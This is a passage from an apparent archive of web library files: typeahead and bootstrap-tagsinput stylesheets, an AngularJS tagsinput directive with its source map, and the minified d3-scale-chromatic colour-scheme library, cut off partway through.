    left: 0;
    z-index: 1000;
    display: none;
    float: left;
    min-width: 160px;
    padding: 5px 0;
    margin: 2px 0 0;
    list-style: none;
    font-size: 14px;
    background-color: #ffffff;
    border: 1px solid #cccccc;
    border: 1px solid rgba(0, 0, 0, 0.15);
    border-radius: 4px;
    -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);
    box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);
    background-clip: padding-box;
    cursor: pointer;
}

.tt-suggestion {
    display: block;
    padding: 3px 20px;
    clear: both;
    font-weight: normal;
    line-height: 1.428571429;
    color: #333333;
    white-space: nowrap;
}

.tt-suggestion:hover,
.tt-suggestion:focus {
    color: #ffffff;
    text-decoration: none;
    outline: 0;
    background-color: #428bca;
}
bootstrap-tagsinput.css000064400000002534151677260650011332 0ustar00.bootstrap-tagsinput {
  background-color: #fff;
  border: 1px solid #ccc;
  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
  display: inline-block;
  padding: 4px 6px;
  color: #555;
  vertical-align: middle;
  border-radius: 4px;
  max-width: 100%;
  line-height: 22px;
  cursor: text;
}
.bootstrap-tagsinput input {
  border: none;
  box-shadow: none;
  outline: none;
  background-color: transparent;
  padding: 0 6px;
  margin: 0;
  width: auto;
  max-width: inherit;
}
.bootstrap-tagsinput.form-control input::-moz-placeholder {
  color: #777;
  opacity: 1;
}
.bootstrap-tagsinput.form-control input:-ms-input-placeholder {
  color: #777;
}
.bootstrap-tagsinput.form-control input::-webkit-input-placeholder {
  color: #777;
}
.bootstrap-tagsinput input:focus {
  border: none;
  box-shadow: none;
}
.bootstrap-tagsinput .tag {
  margin-right: 2px;
  color: white;
}
.bootstrap-tagsinput .tag [data-role="remove"] {
  margin-left: 8px;
  cursor: pointer;
}
.bootstrap-tagsinput .tag [data-role="remove"]:after {
  content: "x";
  padding: 0px 2px;
}
.bootstrap-tagsinput .tag [data-role="remove"]:hover {
  box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
}
.bootstrap-tagsinput .tag [data-role="remove"]:hover:active {
  box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
}
bootstrap-tagsinput-angular.min.js.map000064400000004157151677260650014146 0ustar00{"version":3,"sources":["../src/bootstrap-tagsinput-angular.js"],"names":["angular","module","directive","getItemProperty","scope","property","isFunction","$parent","item","undefined","restrict","model","template","replace","link","element","attrs","$","isArray","select","typeaheadSourceArray","typeaheadSource","split","length","tagsinput","options","typeahead","source","itemValue","itemvalue","itemText","itemtext","confirmKeys","confirmkeys","JSON","parse","tagClass","tagclass","i","on","event","indexOf","push","idx","splice","prev","slice","$watch","added","filter","removed"],"mappings":";;;;;AAAAA,QAAQC,OAAO,0BACdC,UAAU,sBAAuB,WAEhC,QAASC,GAAgBC,EAAOC,GAC9B,MAAKA,GAGDL,QAAQM,WAAWF,EAAMG,QAAQF,IAC5BD,EAAMG,QAAQF,GAEhB,SAASG,GACd,MAAOA,GAAKH,IANLI,OAUX,OACEC,SAAU,KACVN,OACEO,MAAO,YAETC,SAAU,6BACVC,SAAS,EACTC,KAAM,SAASV,EAAOW,EAASC,GAC7BC,EAAE,WACKjB,QAAQkB,QAAQd,EAAMO,SACzBP,EAAMO,SAER,IAAIQ,GAASF,EAAE,SAAUF,GACrBK,EAAuBJ,EAAMK,gBAAkBL,EAAMK,gBAAgBC,MAAM,KAAO,KAClFD,EAAkBD,EACjBA,EAAqBG,OAAS,EAC3BnB,EAAMG,QAAQa,EAAqB,IAAIA,EAAqB,IAC1DhB,EAAMG,QAAQa,EAAqB,IACvC,IAEND,GAAOK,UAAUpB,EAAMG,QAAQS,EAAMS,SAAW,MAC9CC,WACEC,OAAW3B,QAAQM,WAAWe,GAAmBA,EAAkB,MAErEO,UAAWzB,EAAgBC,EAAOY,EAAMa,WACxCC,SAAW3B,EAAgBC,EAAOY,EAAMe,UACxCC,YAAc7B,EAAgBC,EAAOY,EAAMiB,aAAeC,KAAKC,MAAMnB,EAAMiB,cAAgB,IAC3FG,SAAWpC,QAAQM,WAAWF,EAAMG,QAAQS,EAAMqB,WAAajC,EAAMG,QAAQS,EAAMqB,UAAY,SAAS7B,GAAQ,MAAOQ,GAAMqB,WAG/H,KAAK,GAAIC,GAAI,EAAGA,EAAIlC,EAAMO,MAAMY,OAAQe,IACtCnB,EAAOK,UAAU,MAAOpB,EAAMO,MAAM2B,GAGtCnB,GAAOoB,GAAG,YAAa,SAASC,GACU,KAApCpC,EAAMO,MAAM8B,QAAQD,EAAMhC,OAC5BJ,EAAMO,MAAM+B,KAAKF,EAAMhC,QAG3BW,EAAOoB,GAAG,cAAe,SAASC,GAChC,GAAIG,GAAMvC,EAAMO,MAAM8B,QAAQD,EAAMhC,KACxB,MAARmC,GACFvC,EAAMO,MAAMiC,OAAOD,EAAK,IAK5B,IAAIE,GAAOzC,EAAMO,MAAMmC,OACvB1C,GAAM2C,OAAO,QAAS,WACpB,GAEIT,GAFAU,EAAQ5C,EAAMO,MAAMsC,OAAO,SAASX,GAAI,MAA2B,KAApBO,EAAKJ,QAAQH,KAC5DY,EAAUL,EAAKI,OAAO,SAASX,GAAI,MAAkC,KAA3BlC,EAAMO,MAAM8B,QAAQH,IAMlE,KAHAO,EAAOzC,EAAMO,MAAMmC,QAGdR,EAAI,EAAGA,EAAIY,EAAQ3B,OAAQe,IAC9BnB,EAAOK,UAAU,SAAU0B,EAAQZ,GAOrC,KAHAnB,EAAOK,UAAU,WAGZc,EAAI,EAAGA,EAAIU,EAAMzB,OAAQe,IAC5BnB,EAAOK,UAAU,MAAOwB,EAAMV,MAE/B","file":"bootstrap-tagsinput-angular.min.js"}bootstrap-tagsinput-angular.min.js000064400000002700151677260650013362 0ustar00/*
 * bootstrap-tagsinput v0.7.1 by Tim Schlechter
 * 
 */

angular.module("bootstrap-tagsinput",[]).directive("bootstrapTagsinput",[function(){function a(a,b){return b?angular.isFunction(a.$parent[b])?a.$parent[b]:function(a){return a[b]}:void 0}return{restrict:"EA",scope:{model:"=ngModel"},template:"<select multiple></select>",replace:!1,link:function(b,c,d){$(function(){angular.isArray(b.model)||(b.model=[]);var e=$("select",c),f=d.typeaheadSource?d.typeaheadSource.split("."):null,g=f?f.length>1?b.$parent[f[0]][f[1]]:b.$parent[f[0]]:null;e.tagsinput(b.$parent[d.options||""]||{typeahead:{source:angular.isFunction(g)?g:null},itemValue:a(b,d.itemvalue),itemText:a(b,d.itemtext),confirmKeys:a(b,d.confirmkeys)?JSON.parse(d.confirmkeys):[13],tagClass:angular.isFunction(b.$parent[d.tagclass])?b.$parent[d.tagclass]:function(a){return d.tagclass}});for(var h=0;h<b.model.length;h++)e.tagsinput("add",b.model[h]);e.on("itemAdded",function(a){-1===b.model.indexOf(a.item)&&b.model.push(a.item)}),e.on("itemRemoved",function(a){var c=b.model.indexOf(a.item);-1!==c&&b.model.splice(c,1)});var i=b.model.slice();b.$watch("model",function(){var a,c=b.model.filter(function(a){return-1===i.indexOf(a)}),d=i.filter(function(a){return-1===b.model.indexOf(a)});for(i=b.model.slice(),a=0;a<d.length;a++)e.tagsinput("remove",d[a]);for(e.tagsinput("refresh"),a=0;a<c.length;a++)e.tagsinput("add",c[a])},!0)})}}}]);
//# sourceMappingURL=bootstrap-tagsinput-angular.min.js.mapd3-scale-chromatic.min.js000064400000045006151677265060011252 0ustar00// https://d3js.org/d3-scale-chromatic/ v1.3.3 Copyright 2018 Mike Bostock
!function(f,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("d3-interpolate"),require("d3-color")):"function"==typeof define&&define.amd?define(["exports","d3-interpolate","d3-color"],e):e(f.d3=f.d3||{},f.d3,f.d3)}(this,function(f,e,d){"use strict";function c(f){for(var e=f.length/6|0,d=new Array(e),c=0;c<e;)d[c]="#"+f.slice(6*c,6*++c);return d}var a=c("1f77b4ff7f0e2ca02cd627289467bd8c564be377c27f7f7fbcbd2217becf"),b=c("7fc97fbeaed4fdc086ffff99386cb0f0027fbf5b17666666"),r=c("1b9e77d95f027570b3e7298a66a61ee6ab02a6761d666666"),t=c("a6cee31f78b4b2df8a33a02cfb9a99e31a1cfdbf6fff7f00cab2d66a3d9affff99b15928"),n=c("fbb4aeb3cde3ccebc5decbe4fed9a6ffffcce5d8bdfddaecf2f2f2"),o=c("b3e2cdfdcdaccbd5e8f4cae4e6f5c9fff2aef1e2cccccccc"),l=c("e41a1c377eb84daf4a984ea3ff7f00ffff33a65628f781bf999999"),i=c("66c2a5fc8d628da0cbe78ac3a6d854ffd92fe5c494b3b3b3"),p=c("8dd3c7ffffb3bebadafb807280b1d3fdb462b3de69fccde5d9d9d9bc80bdccebc5ffed6f");function m(f){return e.interpolateRgbBasis(f[f.length-1])}var s=new Array(3).concat("d8b365f5f5f55ab4ac","a6611adfc27d80cdc1018571","a6611adfc27df5f5f580cdc1018571","8c510ad8b365f6e8c3c7eae55ab4ac01665e","8c510ad8b365f6e8c3f5f5f5c7eae55ab4ac01665e","8c510abf812ddfc27df6e8c3c7eae580cdc135978f01665e","8c510abf812ddfc27df6e8c3f5f5f5c7eae580cdc135978f01665e","5430058c510abf812ddfc27df6e8c3c7eae580cdc135978f01665e003c30","5430058c510abf812ddfc27df6e8c3f5f5f5c7eae580cdc135978f01665e003c30").map(c),u=m(s),h=new Array(3).concat("af8dc3f7f7f77fbf7b","7b3294c2a5cfa6dba0008837","7b3294c2a5cff7f7f7a6dba0008837","762a83af8dc3e7d4e8d9f0d37fbf7b1b7837","762a83af8dc3e7d4e8f7f7f7d9f0d37fbf7b1b7837","762a839970abc2a5cfe7d4e8d9f0d3a6dba05aae611b7837","762a839970abc2a5cfe7d4e8f7f7f7d9f0d3a6dba05aae611b7837","40004b762a839970abc2a5cfe7d4e8d9f0d3a6dba05aae611b783700441b","40004b762a839970abc2a5cfe7d4e8f7f7f7d9f0d3a6dba05aae611b783700441b").map(c),y=m(h),w=new Array(3).concat("e9a3c9f7f7f7a1d76a","d01c8bf1b6dab8e1864dac26","d01c8bf1b6daf7f7f7b8e1864dac26","c51b7de9a3c9fde0efe6f5d0a1d76a4d9221","c51b7de9a3c9fde0eff7f7f7e6f5d0a1d76a4d9221","c51b7dde77aef1b6dafde0efe6f5d0b8e1867fbc414d9221","c51b7dde77aef1b6dafde0eff7f7f7e6f5d0b8e1867fbc414d9221","8e0152c51b7dde77aef1b6dafde0efe6f5d0b8e1867fbc414d9221276419","8e0152c51b7dde77aef1b6dafde0eff7f7f7e6f5d0b8e1867fbc414d9221276419").map(c),A=m(w),P=new Array(3).concat("998ec3f7f7f7f1a340","5e3c99b2abd2fdb863e66101","5e3c99b2abd2f7f7f7fdb863e66101","542788998ec3d8daebfee0b6f1a340b35806","542788998ec3d8daebf7f7f7fee0b6f1a340b35806","5427888073acb2abd2d8daebfee0b6fdb863e08214b35806","5427888073acb2abd2d8daebf7f7f7fee0b6fdb863e08214b35806","2d004b5427888073acb2abd2d8daebfee0b6fdb863e08214b358067f3b08","2d004b5427888073acb2abd2d8daebf7f7f7fee0b6fdb863e08214b358067f3b08").map(c),B=m(P),G=new Array(3).concat("ef8a62f7f7f767a9cf","ca0020f4a58292c5de0571b0","ca0020f4a582f7f7f792c5de0571b0","b2182bef8a62fddbc7d1e5f067a9cf2166ac","b2182bef8a62fddbc7f7f7f7d1e5f067a9cf2166ac","b2182bd6604df4a582fddbc7d1e5f092c5de4393c32166ac","b2182bd6604df4a582fddbc7f7f7f7d1e5f092c5de4393c32166ac","67001fb2182bd6604df4a582fddbc7d1e5f092c5de4393c32166ac053061","67001fb2182bd6604df4a582fddbc7f7f7f7d1e5f092c5de4393c32166ac053061").map(c),R=m(G),x=new Array(3).concat("ef8a62ffffff999999","ca0020f4a582bababa404040","ca0020f4a582ffffffbababa404040","b2182bef8a62fddbc7e0e0e09999994d4d4d","b2182bef8a62fddbc7ffffffe0e0e09999994d4d4d","b2182bd6604df4a582fddbc7e0e0e0bababa8787874d4d4d","b2182bd6604df4a582fddbc7ffffffe0e0e0bababa8787874d4d4d","67001fb2182bd6604df4a582fddbc7e0e0e0bababa8787874d4d4d1a1a1a","67001fb2182bd6604df4a582fddbc7ffffffe0e0e0bababa8787874d4d4d1a1a1a").map(c),Y=m(x),g=new Array(3).concat("fc8d59ffffbf91bfdb","d7191cfdae61abd9e92c7bb6","d7191cfdae61ffffbfabd9e92c7bb6","d73027fc8d59fee090e0f3f891bfdb4575b4","d73027fc8d59fee090ffffbfe0f3f891bfdb4575b4","d73027f46d43fdae61fee090e0f3f8abd9e974add14575b4","d73027f46d43fdae61fee090ffffbfe0f3f8abd9e974add14575b4","a50026d73027f46d43fdae61fee090e0f3f8abd9e974add14575b4313695","a50026d73027f46d43fdae61fee090ffffbfe0f3f8abd9e974add14575b4313695").map(c),M=m(g),O=new Array(3).concat("fc8d59ffffbf91cf60","d7191cfdae61a6d96a1a9641","d7191cfdae61ffffbfa6d96a1a9641","d73027fc8d59fee08bd9ef8b91cf601a9850","d73027fc8d59fee08bffffbfd9ef8b91cf601a9850","d73027f46d43fdae61fee08bd9ef8ba6d96a66bd631a9850","d73027f46d43fdae61fee08bffffbfd9ef8ba6d96a66bd631a9850","a50026d73027f46d43fdae61fee08bd9ef8ba6d96a66bd631a9850006837","a50026d73027f46d43fdae61fee08bffffbfd9ef8ba6d96a66bd631a9850006837").map(c),v=m(O),C=new Array(3).concat("fc8d59ffffbf99d594","d7191cfdae61abdda42b83ba","d7191cfdae61ffffbfabdda42b83ba","d53e4ffc8d59fee08be6f59899d5943288bd","d53e4ffc8d59fee08bffffbfe6f59899d5943288bd","d53e4ff46d43fdae61fee08be6f598abdda466c2a53288bd","d53e4ff46d43fdae61fee08bffffbfe6f598abdda466c2a53288bd","9e0142d53e4ff46d43fdae61fee08be6f598abdda466c2a53288bd5e4fa2","9e0142d53e4ff46d43fdae61fee08bffffbfe6f598abdda466c2a53288bd5e4fa2").map(c),S=m(C),I=new Array(3).concat("e5f5f999d8c92ca25f","edf8fbb2e2e266c2a4238b45","edf8fbb2e2e266c2a42ca25f006d2c","edf8fbccece699d8c966c2a42ca25f006d2c","edf8fbccece699d8c966c2a441ae76238b45005824","f7fcfde5f5f9ccece699d8c966c2a441ae76238b45005824","f7fcfde5f5f9ccece699d8c966c2a441ae76238b45006d2c00441b").map(c),L=m(I),j=new Array(3).concat("e0ecf49ebcda8856a7","edf8fbb3cde38c96c688419d","edf8fbb3cde38c96c68856a7810f7c","edf8fbbfd3e69ebcda8c96c68856a7810f7c","edf8fbbfd3e69ebcda8c96c68c6bb188419d6e016b","f7fcfde0ecf4bfd3e69ebcda8c96c68c6bb188419d6e016b","f7fcfde0ecf4bfd3e69ebcda8c96c68c6bb188419d810f7c4d004b").map(c),q=m(j),D=new Array(3).concat("e0f3dba8ddb543a2ca","f0f9e8bae4bc7bccc42b8cbe","f0f9e8bae4bc7bccc443a2ca0868ac","f0f9e8ccebc5a8ddb57bccc443a2ca0868ac","f0f9e8ccebc5a8ddb57bccc44eb3d32b8cbe08589e","f7fcf0e0f3dbccebc5a8ddb57bccc44eb3d32b8cbe08589e","f7fcf0e0f3dbccebc5a8ddb57bccc44eb3d32b8cbe0868ac084081").map(c),_=m(D),k=new Array(3).concat("fee8c8fdbb84e34a33","fef0d9fdcc8afc8d59d7301f","fef0d9fdcc8afc8d59e34a33b30000","fef0d9fdd49efdbb84fc8d59e34a33b30000","fef0d9fdd49efdbb84fc8d59ef6548d7301f990000","fff7ecfee8c8fdd49efdbb84fc8d59ef6548d7301f990000","fff7ecfee8c8fdd49efdbb84fc8d59ef6548d7301fb300007f0000").map(c),V=m(k),W=new Array(3).concat("ece2f0a6bddb1c9099","f6eff7bdc9e167a9cf02818a","f6eff7bdc9e167a9cf1c9099016c59","f6eff7d0d1e6a6bddb67a9cf1c9099016c59","f6eff7d0d1e6a6bddb67a9cf3690c002818a016450","fff7fbece2f0d0d1e6a6bddb67a9cf3690c002818a016450","fff7fbece2f0d0d1e6a6bddb67a9cf3690c002818a016c59014636").map(c),z=m(W),E=new Array(3).concat("ece7f2a6bddb2b8cbe","f1eef6bdc9e174a9cf0570b0","f1eef6bdc9e174a9cf2b8cbe045a8d","f1eef6d0d1e6a6bddb74a9cf2b8cbe045a8d","f1eef6d0d1e6a6bddb74a9cf3690c00570b0034e7b","fff7fbece7f2d0d1e6a6bddb74a9cf3690c00570b0034e7b","fff7fbece7f2d0d1e6a6bddb74a9cf3690c00570b0045a8d023858").map(c),F=m(E),H=new Array(3).concat("e7e1efc994c7dd1c77","f1eef6d7b5d8df65b0ce1256","f1eef6d7b5d8df65b0dd1c77980043","f1eef6d4b9dac994c7df65b0dd1c77980043","f1eef6d4b9dac994c7df65b0e7298ace125691003f","f7f4f9e7e1efd4b9dac994c7df65b0e7298ace125691003f","f7f4f9e7e1efd4b9dac994c7df65b0e7298ace125698004367001f").map(c),J=m(H),K=new Array(3).concat("fde0ddfa9fb5c51b8a","feebe2fbb4b9f768a1ae017e","feebe2fbb4b9f768a1c51b8a7a0177","feebe2fcc5c0fa9fb5f768a1c51b8a7a0177","feebe2fcc5c0fa9fb5f768a1dd3497ae017e7a0177","fff7f3fde0ddfcc5c0fa9fb5f768a1dd3497ae017e7a0177","fff7f3fde0ddfcc5c0fa9fb5f768a1dd3497ae017e7a017749006a").map(c),N=m(K),Q=new Array(3).concat("edf8b17fcdbb2c7fb8","ffffcca1dab441b6c4225ea8","ffffcca1dab441b6c42c7fb8253494","ffffccc7e9b47fcdbb41b6c42c7fb8253494","ffffccc7e9b47fcdbb41b6c41d91c0225ea80c2c84","ffffd9edf8b1c7e9b47fcdbb41b6c41d91c0225ea80c2c84","ffffd9edf8b1c7e9b47fcdbb41b6c41d91c0225ea8253494081d58").map(c),T=m(Q),U=new Array(3).concat("f7fcb9addd8e31a354","ffffccc2e69978c679238443","ffffccc2e69978c67931a354006837","ffffccd9f0a3addd8e78c67931a354006837","ffffccd9f0a3addd8e78c67941ab5d238443005a32","ffffe5f7fcb9d9f0a3addd8e78c67941ab5d238443005a32","ffffe5f7fcb9d9f0a3addd8e78c67941ab5d238443006837004529").map(c),X=m(U),Z=new Array(3).concat("fff7bcfec44fd95f0e","ffffd4fed98efe9929cc4c02","ffffd4fed98efe9929d95f0e993404","ffffd4fee391fec44ffe9929d95f0e993404","ffffd4fee391fec44ffe9929ec7014cc4c028c2d04","ffffe5fff7bcfee391fec44ffe9929ec7014cc4c028c2d04","ffffe5fff7bcfee391fec44ffe9929ec7014cc4c02993404662506").map(c),$=m(Z),ff=new Array(3).concat("ffeda0feb24cf03b20","ffffb2fecc5cfd8d3ce31a1c","ffffb2fecc5cfd8d3cf03b20bd0026","ffffb2fed976feb24cfd8d3cf03b20bd0026","ffffb2fed976feb24cfd8d3cfc4e2ae31a1cb10026","ffffccffeda0fed976feb24cfd8d3cfc4e2ae31a1cb10026","ffffccffeda0fed976feb24cfd8d3cfc4e2ae31a1cbd0026800026").map(c),ef=m(ff),df=new Array(3).concat("deebf79ecae13182bd","eff3ffbdd7e76baed62171b5","eff3ffbdd7e76baed63182bd08519c","eff3ffc6dbef9ecae16baed63182bd08519c","eff3ffc6dbef9ecae16baed64292c62171b5084594","f7fbffdeebf7c6dbef9ecae16baed64292c62171b5084594","f7fbffdeebf7c6dbef9ecae16baed64292c62171b508519c08306b").map(c),cf=m(df),af=new Array(3).concat("e5f5e0a1d99b31a354","edf8e9bae4b374c476238b45","edf8e9bae4b374c47631a354006d2c","edf8e9c7e9c0a1d99b74c47631a354006d2c","edf8e9c7e9c0a1d99b74c47641ab5d238b45005a32","f7fcf5e5f5e0c7e9c0a1d99b74c47641ab5d238b45005a32","f7fcf5e5f5e0c7e9c0a1d99b74c47641ab5d238b45006d2c00441b").map(c),bf=m(af),rf=new Array(3).concat("f0f0f0bdbdbd636363","f7f7f7cccccc969696525252","f7f7f7cccccc969696636363252525","f7f7f7d9d9d9bdbdbd969696636363252525","f7f7f7d9d9d9bdbdbd969696737373525252252525","fffffff0f0f0d9d9d9bdbdbd969696737373525252252525","fffffff0f0f0d9d9d9bdbdbd969696737373525252252525000000").map(c),tf=m(rf),nf=new Array(3).concat("efedf5bcbddc756bb1","f2f0f7cbc9e29e9ac86a51a3","f2f0f7cbc9e29e9ac8756bb154278f","f2f0f7dadaebbcbddc9e9ac8756bb154278f","f2f0f7dadaebbcbddc9e9ac8807dba6a51a34a1486","fcfbfdefedf5dadaebbcbddc9e9ac8807dba6a51a34a1486","fcfbfdefedf5dadaebbcbddc9e9ac8807dba6a51a354278f3f007d").map(c),of=m(nf),lf=new Array(3).concat("fee0d2fc9272de2d26","fee5d9fcae91fb6a4acb181d","fee5d9fcae91fb6a4ade2d26a50f15","fee5d9fcbba1fc9272fb6a4ade2d26a50f15","fee5d9fcbba1fc9272fb6a4aef3b2ccb181d99000d","fff5f0fee0d2fcbba1fc9272fb6a4aef3b2ccb181d99000d","fff5f0fee0d2fcbba1fc9272fb6a4aef3b2ccb181da50f1567000d").map(c),pf=m(lf),mf=new Array(3).concat("fee6cefdae6be6550d","feeddefdbe85fd8d3cd94701","feeddefdbe85fd8d3ce6550da63603","feeddefdd0a2fdae6bfd8d3ce6550da63603","feeddefdd0a2fdae6bfd8d3cf16913d948018c2d04","fff5ebfee6cefdd0a2fdae6bfd8d3cf16913d948018c2d04","fff5ebfee6cefdd0a2fdae6bfd8d3cf16913d94801a636037f2704").map(c),sf=m(mf),uf=e.interpolateCubehelixLong(d.cubehelix(300,.5,0),d.cubehelix(-240,.5,1)),hf=e.interpolateCubehelixLong(d.cubehelix(-100,.75,.35),d.cubehelix(80,1.5,.8)),yf=e.interpolateCubehelixLong(d.cubehelix(260,.75,.35),d.cubehelix(80,1.5,.8)),wf=d.cubehelix();var Af=d.rgb(),Pf=Math.PI/3,Bf=2*Math.PI/3;function Gf(f){var e=f.length;return function(d){return f[Math.max(0,Math.min(e-1,Math.floor(d*e)))]}}var Rf=Gf(c("44015444025645045745055946075a46085c460a5d460b5e470d60470e6147106347116447136548146748166848176948186a481a6c481b6d481c6e481d6f481f70482071482173482374482475482576482677482878482979472a7a472c7a472d7b472e7c472f7d46307e46327e46337f463480453581453781453882443983443a83443b84433d84433e85423f854240864241864142874144874045884046883f47883f48893e49893e4a893e4c8a3d4d8a3d4e8a3c4f8a3c508b3b518b3b528b3a538b3a548c39558c39568c38588c38598c375a8c375b8d365c8d365d8d355e8d355f8d34608d34618d33628d33638d32648e32658e31668e31678e31688e30698e306a8e2f6b8e2f6c8e2e6d8e2e6e8e2e6f8e2d708e2d718e2c718e2c728e2c738e2b748e2b758e2a768e2a778e2a788e29798e297a8e297b8e287c8e287d8e277e8e277f8e27808e26818e26828e26828e25838e25848e25858e24868e24878e23888e23898e238a8d228b8d228c8d228d8d218e8d218f8d21908d21918c20928c20928c20938c1f948c1f958b1f968b1f978b1f988b1f998a1f9a8a1e9b8a1e9c891e9d891f9e891f9f881fa0881fa1881fa1871fa28720a38620a48621a58521a68522a78522a88423a98324aa8325ab8225ac8226ad8127ad8128ae8029af7f2ab07f2cb17e2db27d2eb37c2fb47c31b57b32b67a34b67935b77937b87838b9773aba763bbb753dbc743fbc7340bd7242be7144bf7046c06f48c16e4ac16d4cc26c4ec36b50c46a52c56954c56856c66758c7655ac8645cc8635ec96260ca6063cb5f65cb5e67cc5c69cd5b6ccd5a6ece5870cf5773d05675d05477d1537ad1517cd2507fd34e81d34d84d44b86d54989d5488bd6468ed64590d74393d74195d84098d83e9bd93c9dd93ba0da39a2da37a5db36a8db34aadc32addc30b0dd2fb2dd2db5de2bb8de29bade28bddf26c0df25c2df23c5e021c8e020cae11fcde11dd0e11cd2e21bd5e21ad8e219dae319dde318dfe318e2e418e5e419e7e419eae51aece51befe51cf1e51df4e61ef6e620f8e621fbe723fde725")),xf=Gf(c("00000401000501010601010802010902020b02020d03030f03031204041405041606051806051a07061c08071e0907200a08220b09240c09260d0a290e0b2b100b2d110c2f120d31130d34140e36150e38160f3b180f3d19103f1a10421c10441d11471e114920114b21114e22115024125325125527125829115a2a115c2c115f2d11612f116331116533106734106936106b38106c390f6e3b0f703d0f713f0f72400f74420f75440f764510774710784910784a10794c117a4e117b4f127b51127c52137c54137d56147d57157e59157e5a167e5c167f5d177f5f187f601880621980641a80651a80671b80681c816a1c816b1d816d1d816e1e81701f81721f817320817521817621817822817922827b23827c23827e24828025828125818326818426818627818827818928818b29818c29818e2a81902a81912b81932b80942c80962c80982d80992d809b2e7f9c2e7f9e2f7fa02f7fa1307ea3307ea5317ea6317da8327daa337dab337cad347cae347bb0357bb2357bb3367ab5367ab73779b83779ba3878bc3978bd3977bf3a77c03a76c23b75c43c75c53c74c73d73c83e73ca3e72cc3f71cd4071cf4070d0416fd2426fd3436ed5446dd6456cd8456cd9466bdb476adc4869de4968df4a68e04c67e24d66e34e65e44f64e55064e75263e85362e95462ea5661eb5760ec5860ed5a5fee5b5eef5d5ef05f5ef1605df2625df2645cf3655cf4675cf4695cf56b5cf66c5cf66e5cf7705cf7725cf8745cf8765cf9785df9795df97b5dfa7d5efa7f5efa815ffb835ffb8560fb8761fc8961fc8a62fc8c63fc8e64fc9065fd9266fd9467fd9668fd9869fd9a6afd9b6bfe9d6cfe9f6dfea16efea36ffea571fea772fea973feaa74feac76feae77feb078feb27afeb47bfeb67cfeb77efeb97ffebb81febd82febf84fec185fec287fec488fec68afec88cfeca8dfecc8ffecd90fecf92fed194fed395fed597fed799fed89afdda9cfddc9efddea0fde0a1fde2a3fde3a5fde5a7fde7a9fde9aafdebacfcecaefceeb0fcf0b2fcf2b4fcf4b6fcf6b8fcf7b9fcf9bbfcfbbdfcfdbf")),Yf=Gf(c("00000401000501010601010802010a02020c02020e03021004031204031405041706041907051b08051d09061f0a07220b07240c08260d08290e092b10092d110a30120a32140b34150b37160b39180c3c190c3e1b0c411c0c431e0c451f0c48210c4a230c4c240c4f260c51280b53290b552b0b572d0b592f0a5b310a5c320a5e340a5f3609613809623909633b09643d09653e0966400a67420a68440a68450a69470b6a490b6a4a0c6b4c0c6b4d0d6c4f0d6c510e6c520e6d540f6d550f6d57106e59106e5a116e5c126e5d126e5f136e61136e62146e64156e65156e67166e69166e6a176e6c186e6d186e6f196e71196e721a6e741a6e751b6e771c6d781c6d7a1d6d7c1d6d7d1e6d7f1e6c801f6c82206c84206b85216b87216b88226a8a226a8c23698d23698f24699025689225689326679526679727669827669a28659b29649d29649f2a63a02a63a22b62a32c61a52c60a62d60a82e5fa92e5eab2f5ead305dae305cb0315bb1325ab3325ab43359b63458b73557b93556ba3655bc3754bd3853bf3952c03a51c13a50c33b4fc43c4ec63d4dc73e4cc83f4bca404acb4149cc4248ce4347cf4446d04545d24644d34743d44842d54a41d74b3fd84c3ed94d3dda4e3cdb503bdd513ade5238df5337e05536e15635e25734e35933e45a31e55c30e65d2fe75e2ee8602de9612bea632aeb6429eb6628ec6726ed6925ee6a24ef6c23ef6e21f06f20f1711ff1731df2741cf3761bf37819f47918f57b17f57d15f67e14f68013f78212f78410f8850ff8870ef8890cf98b0bf98c0af98e09fa9008fa9207fa9407fb9606fb9706fb9906fb9b06fb9d07fc9f07fca108fca309fca50afca60cfca80dfcaa0ffcac11fcae12fcb014fcb216fcb418fbb61afbb81dfbba1ffbbc21fbbe23fac026fac228fac42afac62df9c72ff9c932f9cb35f8cd37f8cf3af7d13df7d340f6d543f6d746f5d949f5db4cf4dd4ff4df53f4e156f3e35af3e55df2e661f2e865f2ea69f1ec6df1ed71f1ef75f1f179f2f27df2f482f3f586f3f68af4f88ef5f992f6fa96f8fb9af9fc9dfafda1fcffa4")),gf=Gf(c("0d088710078813078916078a19068c1b068d1d068e20068f2206902406912605912805922a05932c05942e05952f059631059733059735049837049938049a3a049a3c049b3e049c3f049c41049d43039e44039e46039f48039f4903a04b03a14c02a14e02a25002a25102a35302a35502a45601a45801a45901a55b01a55c01a65e01a66001a66100a76300a76400a76600a76700a86900a86a00a86c00a86e00a86f00a87100a87201a87401a87501a87701a87801a87a02a87b02a87d03a87e03a88004a88104a78305a78405a78606a68707a68808a68a09a58b0aa58d0ba58e0ca48f0da4910ea3920fa39410a29511a19613a19814a099159f9a169f9c179e9d189d9e199da01a9ca11b9ba21d9aa31e9aa51f99a62098a72197a82296aa2395ab2494ac2694ad2793ae2892b02991b12a90b22b8fb32c8eb42e8db52f8cb6308bb7318ab83289ba3388bb3488bc3587bd3786be3885bf3984c03a83c13b82c23c81c33d80c43e7fc5407ec6417dc7427cc8437bc9447aca457acb4679cc4778cc4977cd4a76ce4b75cf4c74d04d73d14e72d24f71d35171d45270d5536fd5546ed6556dd7566cd8576bd9586ada5a6ada5b69db5c68dc5d67dd5e66de5f65de6164df6263e06363e16462e26561e26660e3685fe4695ee56a5de56b5de66c5ce76e5be76f5ae87059e97158e97257ea7457eb7556eb7655ec7754ed7953ed7a52ee7b51ef7c51ef7e50f07f4ff0804ef1814df1834cf2844bf3854bf3874af48849f48948f58b47f58c46f68d45f68f44f79044f79143f79342f89441f89540f9973ff9983ef99a3efa9b3dfa9c3cfa9e3bfb9f3afba139fba238fca338fca537fca636fca835fca934fdab33fdac33fdae32fdaf31fdb130fdb22ffdb42ffdb52efeb72dfeb82cfeba2cfebb2bfebd2afebe2afec029fdc229fdc328fdc527fdc627fdc827fdca26fdcb26fccd25fcce25fcd025fcd225fbd324fbd524fbd724fad824fada24f9dc24f9dd25f8df25f8e125f7e225f7e425f6e626f6e826f5e926f5eb27f4ed27f3ee27f3f027f2f227f1f426f1f525f0f724f0f921"));f.schemeCategory10=a,f.schemeAccent=b,f.schemeDark2=r,f.schemePaired=t,f.schemePastel1=n,f.schemePastel2=o,f.sch